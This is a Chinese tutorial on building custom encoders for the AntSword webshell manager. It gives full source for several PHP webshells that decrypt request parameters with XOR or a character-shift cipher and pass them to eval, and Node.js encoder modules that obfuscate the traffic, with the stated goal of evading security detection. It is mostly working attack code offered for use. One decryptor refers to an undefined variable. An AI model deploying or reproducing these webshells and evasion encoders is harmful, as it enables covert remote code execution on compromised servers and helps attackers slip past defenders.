蚁剑编码器------高级
其实也没啥高级不高级的
基于免杀php,把加密,解密分为两层,再把参数作适当的传递即可
先说语法
拿免杀篇最后两个马做演示
第一个
c
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
c
data['_']为原来的数据
data[pwd]是想要传入的内容,也就是连接参数接受的内容
data['key']以key为参数传入的内容
delete data['_']; 删除原始的内容,不需要传输这个
c
<?php
function xorEncryptDecrypt($data, $key) {
$keyLength = strlen($key);
$result = '';
for ($i = 0; $i < strlen($data); $i++) {
$keyChar = $key[$i % $keyLength];
$result .= chr(ord($data[$i]) ^ ord($keyChar));
}
return $result;
}
$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
@eval($a);
加密解密分开写
加密
c
<?php
function xorEncryptDecrypt($data, $key) {
$keyLength = strlen($key);
$result = '';
for ($i = 0; $i < strlen($data); $i++) {
$keyChar = $key[$i % $keyLength];
$result .= chr(ord($data[$i]) ^ ord($keyChar));
}
return $result;
}
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
>
解密
c
<?php
function xorEncryptDecrypt($data, $key) {
$keyLength = strlen($key);
$result = '';
for ($i = 0; $i < strlen($data); $i++) {
$keyChar = $key[$i % $keyLength];
$result .= chr(ord($data[$i]) ^ ord($keyChar));
}
return $result;
}
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];
if($key){
$a = base64_decode(xorEncryptDecrypt($a, $key));
@eval($a);
}
这里需要传输的是两个参数
c
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];
蚁剑是有修改body传参功能的,所以这里有两个方法,第一种,写死$key
,蚁剑使用$key
编码后,使用body传递值,第二种,随机key,直接在编码器中写好
注意
:编码器使用的是node.js写法,写法要修改一下
固定key异或加密
c
function xorEncryptDecrypt(data, key) {
let keyStr = key.toString();
let keyLength = keyStr.length;
let result = '';
for (let i = 0; i < data.length; i++) {
let keyCharCode = keyStr.charCodeAt(i % keyLength);
let charCode = data.charCodeAt(i);
let xorCharCode = charCode ^ keyCharCode;
result += String.fromCharCode(xorCharCode);
}
return result;
}
let plaintext = "";
let key = "123456789";
let ciphertext = xorEncryptDecrypt(plaintext, key);
参数替换为蚁剑特有的参数
c
'use strict';
module.exports = (pwd, data, ext={}) => {
function xorEncryptDecrypt(data, key) {
let keyStr = key.toString();
let keyLength = keyStr.length;
let result = '';
for (let i = 0; i < data.length; i++) {
let keyCharCode = keyStr.charCodeAt(i % keyLength);
let charCode = data.charCodeAt(i);
let xorCharCode = charCode ^ keyCharCode;
result += String.fromCharCode(xorCharCode);
}
return result;
}
let key = 123456789;
data['_']=Buffer.from(data['_']).toString('base64');
data[pwd]=xorEncryptDecrypt(data['_'],key);
delete data['_'];
return data;
}
但是这种方法需要手动在body参数里面传入参数b和内容
蚁剑编码器里给予了一种最为简单传递参数的方式,data['_'],在这个例子中只需要多加一行
data['b']=key;即可
看一下数据包
第二种
c
<?php
function simpleTransform($str, $offset = 1) {
$transformed = '';
for ($i = 0; $i < strlen($str); $i++) {
$transformed .= chr((ord($str[$i]) + $offset) % 256);
}
return $transformed;
}
$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {
$reversed = '';
for ($i = 0; $i < strlen($str); $i++) {
$reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
}
return $reversed;
}
$reversed = reverseTransform($transformed, 3);
echo eval($reversed);
一样的步骤,加密解密分离
c
<?php
$original = $_REQUEST["a"];
$key = $_REQUEST["key"];
function reverseTransform($str, $offset = 1) {
$reversed = '';
for ($i = 0; $i < strlen($str); $i++) {
$reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
}
return $reversed;
}
$reversed = reverseTransform($transformed, $key);
@eval($reversed);
加密
c
module.exports = (pwd, data, ext={}) => {
function simpleTransform(str, offset = 1) {
let transformed = '';
for (let i = 0; i < str.length; i++) {
let code = str.charCodeAt(i);
let newCode = (code + offset) % 256;
transformed += String.fromCharCode(newCode);
}
return transformed;
}
let random = Math.floor(Math.random() * 6) + 5;
data['_']=Buffer.from(data['_']).toString('base64');
data['key']=random;
data[pwd]=simpleTransform(data['_'],random);
delete data['_'];
return data;
}
这里只是以两个简单的例子作为演示,仅以普通的$_REQUEST
来获取内容,可以通过sessions,cookie等方式进行传输,也可以通过其他的方式进行加密